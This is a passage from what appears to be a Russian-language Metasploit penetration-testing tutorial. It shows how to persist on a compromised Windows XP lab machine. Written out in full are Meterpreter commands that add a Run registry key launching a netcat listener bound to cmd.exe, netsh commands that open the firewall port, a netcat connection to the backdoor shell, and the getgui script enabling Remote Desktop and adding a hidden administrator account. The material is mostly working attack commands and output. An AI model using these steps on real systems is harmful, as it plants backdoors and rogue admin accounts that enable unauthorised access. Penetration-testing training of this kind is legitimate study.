meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run
 
  Values (3):
 
    VMware Tools
    VMware User Process
    quicktftpserver
 
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe"
Successful set nc.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe

Теперь отредактируем правила брандмауэра и разрешим соединения с нашим netcat backdoor. Откроем командную строку на удаленной системе и перестроим брандмауэр с помощью команды 'netsh', это лучший вариант чем редактирование реестра, из-за меньшей подверженности вывода ошибок.

 meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\Documents and Settings\Jim\My Documents> netsh firewall show opmode
Netsh firewall show opmode
 
Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
 
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
 
Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

Откроем порт 445 и проверим, что настройки вступили в силу.

C:\Documents and Settings\Jim\My Documents> netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
Ok.
 
C:\Documents and Settings\Jim\My Documents> netsh firewall show portopening
netsh firewall show portopening
 
Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service
 
Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
455    TCP       Enable   Service Firewall
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service
 
 
C:\Documents and Settings\Jim\My Documents>

В завершении перегрузим удаленную систему и опробуем наш netcat shell в работе.

root@bt4:/pentest/exploits/framework3# nc -v 172.16.104.128 455
172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [172.16.104.128] 455 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\Documents and Settings\Jim> dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726
 
Directory of C:\Documents and Settings\Jim
 
05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0 ;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s) 0 bytes
6 Dir(s) 35,540,791,296 bytes free
 
C:\Documents and Settings\Jim>

Отлично, у нас опять все получилось! В реальной же ситуации мы бы врятли воспользовались таким простым бэкдором как netcat,поскольку соединение осуществляется без аутентификации и шифрования, эту возможность мы рассмотрели как пример, принцип остается неизменным и при работе с другими инструментами.

Включение удаленного рабочего стола.

Давайте рассмотрим другую ситуацию, когда с помощью Metasploit нам нужно установить Backdoor в системе, но задействовать для реализации этого встроенные в систему средства. Воспользуемся сценарием Карлоса Переса 'getgui', который способен включить удаленный рабочий стол и создать аккаунт пользователя для вашего подключения. Воспользоваться этим сценарием очень просто.

meterpreter > run getgui -u hax0r -p gibs0n
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: hax0r with Password: gibs0n
[*] Adding User: hax0r to local group Remote Desktop Users
[*] Adding User: hax0r to local group Administrators
[*] You can now login with the created user
meterpreter >

Вот и все! Теперь можно проверить подключение к удаленному рабочему столу.

remotedesktop